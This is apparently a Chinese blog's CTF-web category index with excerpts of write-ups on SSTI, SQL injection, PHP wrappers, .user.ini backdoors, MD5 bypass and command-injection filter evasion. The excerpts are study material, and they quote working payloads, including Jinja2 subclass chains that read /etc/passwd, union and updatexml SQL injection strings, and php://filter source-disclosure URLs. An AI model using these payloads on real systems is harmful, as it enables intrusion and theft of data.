CTF-web
文章平均质量分 70
菜菜zhao
这个作者很懒,什么都没留下…
展开
-
无参数函数RCE
1.利用超全局变量进行bypass,进行RCE2.进行任意文件读取原创 2022-07-19 15:33:30 · 1671 阅读 · 2 评论 -
宽字节注入
宽字节注入、php 中curl模拟文件上传原创 2022-07-19 15:04:48 · 250 阅读 · 0 评论 -
【文件上传漏洞】user.ini留后门
一、什么是.user.ini?php.ini是php默认的配置文件。其中包含四种配置,在PHP_INI_USER的配置项中,提到.user.ini。这里作用解释如下:除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。.user.ini 是PHP 支持基于每个目录的 I原创 2022-05-18 15:38:34 · 4150 阅读 · 0 评论 -
flask ssti漏洞(补充)
漏洞利用前几篇文章分析了ssti漏洞的成因,以及一些常用过得payload获取eval函数执行任意代码测试Vulhub上的ssti文档是直接给了个获取eval函数并执行任意python代码的POC{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% i原创 2022-05-12 16:52:32 · 440 阅读 · 1 评论 -
Flask jinja2模板注入思路总结
一、总结一下常用的payload:python2:读写文件:#读文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}#写文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}也可以通过写jinja2的environment.py执行命令; jinja2的模板会load这个module,而且这个en原创 2022-05-12 16:33:29 · 1088 阅读 · 1 评论 -
【SSTI】flask 模板注入最详解
一、flask是用python编写的一个轻量web开发框架。二、flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。三、flask基础知识:1. __class__: 返回当前类(有字符串类,元组类,字典组等等)所有的子类都有一个共同的父类object,如果没指定继承,默认父类是object2. __mor__: 返回解析函数时,类的调用顺序,先调用str类,再调用object类,通过索引的方式__原创 2022-05-10 16:35:32 · 2025 阅读 · 1 评论 -
Flask的渲染方法函数---render_template()/render_template_string()
渲染方法Flask 中的渲染方法有两种 : render_template() 和 render_template_string() render_template() 函数 渲染一个指定的文件 , 这个指定的文件其实就是模板模板中代码<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Title</title&g原创 2022-04-19 22:00:43 · 7449 阅读 · 3 评论 -
Jinja2模板语言最基础入门
flask默认使用的模板引擎是jinja2,它是一个功能齐全的python模板引擎,除了设置变量,还允许我们添加if判断,执行for循环,调用函数等。以各种方式控制模板的输出。对应jinja2来说,模板可以是任何格式的纯文本文件,比如HTML、XML、CSV等。1.1模板变量变量名必须由字母、数字、下划线(不能以下划线开头)和点组成。语法如下:{{ var }} 你可以使用点( . )来访问变量的属性,作为替代,也可以使用所谓的“下标”语 法( [])。下面的几行效果是一样的:.原创 2022-04-19 21:02:24 · 6019 阅读 · 1 评论 -
攻防世界web--【upload1】
对于上传文件的识别验证分为,前端和后端。本题是标准的前端验证,所以我们可以通过bp抓包来实现php文件上传,也可以通过只修改前端的js代码进行欺骗。虽然二者都很简单,但是第一次做前端验证的题还是想记录一下。Let's go!首先上传一个一句马。之后找到这个上传控制属性:是这个"disabled"咱们就是直接给他删掉的一个大动作,我们发现这个alert弹窗消失了,然后我们的上传按键又复活了!!我们就点击“上传”。然后我们访问这个文件的网址。..原创 2022-04-18 21:25:13 · 2961 阅读 · 2 评论 -
SQL注入复习 -攻防世界web【NewsCenter】
sql注入语句复习' and 0 union select 1,2,3#初步判断该sql查询返回三列数据.1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#得到表名,很明显我们需要得到 secret_table 表中的内容' and 0 union select 1,column_name,data_type from infor原创 2022-04-18 18:12:01 · 177 阅读 · 1 评论 -
攻防世界-Web_php_include [文件包含]
意思是当传给page的参数里有php://时,会自动过滤掉,但是此函数对大小写敏感,构造Php://就不起作用了,而stristr()函数对大小写不敏感噢。一、双写、大小写绕过:大小写可直接绕过。但是由于源代码中是while循环过滤,所以我们的双写过滤就G了QAQ。二、利用hello的回显我们构造payload,首先要构造hello这个参数我们必须先让传进的page参数为真page参数用http伪协议访问127.0.0.1这个条件肯定为真payload:?pa.原创 2022-04-15 00:41:45 · 535 阅读 · 5 评论 -
buu-web [极客大挑战 2019]HardSQL【报错注入】
普通的方式注入都被ban了。那使用报错注入试一下吧。但其过滤了空格和=号,不过我们可以使用()代替空格,like代替=号,用’^'来连接函数,形成异或。使用updatexml报错法注入()-> ' ' 使用()代替空格‘ ^ ’ -> 连接函数 用’^'来连接函数%23 是 '#' 的URL编码。0x7e 是 '~' 的ascII码。一、爆库名:admin 1'^extractvalue...原创 2022-04-10 01:48:55 · 293 阅读 · 0 评论 -
buu-web:[ZJCTF 2019]NiZhuanSiWei
源码:<?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></b原创 2022-04-09 01:02:43 · 336 阅读 · 0 评论 -
CTF中常用的php伪协议利用
file://作用:用于访问文件(绝对路径、相对路径、网络路径)示例:http://www.xx.com?file=file:///etc/passswdphp://作用:访问输入输出流1. php://filter作用:读取源代码并进行base64编码输出示例:http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要bas原创 2022-04-09 00:34:01 · 916 阅读 · 0 评论 -
MD5 函数的绕过
1. MD5函数漏洞$_GET['a'] != $_GET['b']&&MD5($_GET['a']) == MD5($_GET['b'])要让上面的等式成立,a和b的值不能相等,但是md5后的值相等。因为是==比较,只判断值是否相等,不判断类型是否相同。如果类型不同先转换为相同类型再进行比较而PHP在处理哈希字符串时后,会把0E开头的哈希值解释为0。所以如果两个值通过md5后值都已0E开头,就会相等。QNKCDZO0e8304004519934940580242199原创 2022-04-08 20:48:37 · 3614 阅读 · 0 评论 -
[ACTF2020 新生赛]BackupFile 1
知识点1:备份文件常见的备份文件后缀名有 .git .svn .swp .~ .bak .bash_history于是用dirsearch扫描目录看到bak的后缀(或者一个一个试一试),下载后出现源码:知识点二:php弱比较php中 “==” 两个等于号就是弱比较。弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。所以直接.原创 2022-04-07 00:25:38 · 277 阅读 · 0 评论 -
[极客大挑战 2019]PHP
有备份的好习惯,扫描目录得到www.zip几个重要php文件内容:index.php1 <?php2 include ‘class.php‘;3 $select = $_GET[‘select‘];4 $res=unserialize(@$select);5 ?>代码第4行unserialize可能存在反序列化漏洞class.php 1 <?php 2 include ‘flag.php‘; 3 error_reporting原创 2022-04-06 14:59:15 · 1866 阅读 · 1 评论 -
sql注释符
释义:#和- - 表示注释,url中的#号是用来对用。服务器端无指导浏览器动作的所以http请求中不包括#,因此使用#无法表示注入。 - -(空格)在传输过程中空格会被忽略,导致无法注释。可以使用–+的方式+会被解释成空格,也可以–%20或者#可以写成%23使用#号有时发现执行的sql语句中没有#号 原因是url中#号是用来指导浏览器动作的(例...原创 2022-04-05 09:03:17 · 3592 阅读 · 0 评论 -
buu_WEB [极客大挑战 2019]LoveSQL1
由于一直学sql,但是一直记不住这个最最最基本注入的过程,所以专门写一篇记录一下。一、万能密码登录,我们试一下:在登录框中输入:用户名:1' or 1=1#密码:123(随便输)二、 查询字段数:在url中输入:注意:此时是在url中输入的,所以不能用#,而用其url编码%23。/check.php?username=admin' order by 3%23&password=1 存在/check.php?username=admin' order by 4%原创 2022-04-05 08:43:12 · 159 阅读 · 0 评论 -
buu-web刷题[GXYCTF2019]Ping Ping Ping
[GXYCTF2019]Ping Ping Ping[GXYCTF2019]Ping Ping Ping(RCE)_k0f1i的博客-CSDN博客目录[GXYCTF2019]Ping Ping Ping***空格过滤 ***变量拼接常见管道符2.单引号、双引号绕过3.反斜线绕过内敛绕过***空格过滤 ***${IFS}替换 $IFS$1替换 ${IFS替换 %20替换 <和<>重定向符替换 %09替换我们一个个来试一下用第一个原创 2022-04-04 23:03:38 · 3359 阅读 · 0 评论 -
WEB- 信息搜集 小集合
0x01 查看网页源代码查看源代码 通过在url头部添加 view-source:0x02 bp抓包通过burpsuite抓包 flag在返回的响应数据包里面或者f12 network里可以看到头部信息。0x03代码泄露CTFHUBWeb技能树——信息泄露writeup_青小俊的博客-CSDN博客_ctfhub技能树直接访问url/www.zip,获得flaggit代码泄露,直接访问url/.git/index.php信息svn泄露,直接访问url/.svn/考察vi原创 2022-03-20 10:39:03 · 169 阅读 · 0 评论 -
[buu-web] 强网杯2019随便注
0x01堆叠注入原理(Stacked Queries)在sql中,分号表示一条语句的结束。如果在分号(;)的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。...原创 2022-03-04 01:28:53 · 4026 阅读 · 0 评论 -
[Xctf-web]command_execution
command_execution题目来源: Cyberpeace-n3k0题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。题目场景:http://220.249.52.133:310961. 知识点介绍:Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web ApplicationFirewall,简称:WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专...原创 2022-03-03 11:38:16 · 4009 阅读 · 1 评论 -
两种 HTTP 请求方法
两种 HTTP 请求方法:GET 和 POST在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。GET- 从指定的资源请求数据。 POST- 向指定的资源提交要被处理的数据 GET POST 后退按钮/刷新 无害 数据会被重新提交(浏览器应该告知用户数据会被重新提交)。 书签 可收藏为书签 不可收藏为书签 缓存 能被缓存 不能缓存 编码类型 application/x-www-for..原创 2022-03-02 01:03:12 · 1372 阅读 · 0 评论 -
[buu - web]HCTF2018 WarmUp
HCTF2018 WarmUp <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) //传入了变量page,也就是我们刚刚传进来的file { //这里定义了白名单 $whitelist = ["source"=>"source.php","hint"=>"原创 2022-03-02 00:12:41 · 235 阅读 · 0 评论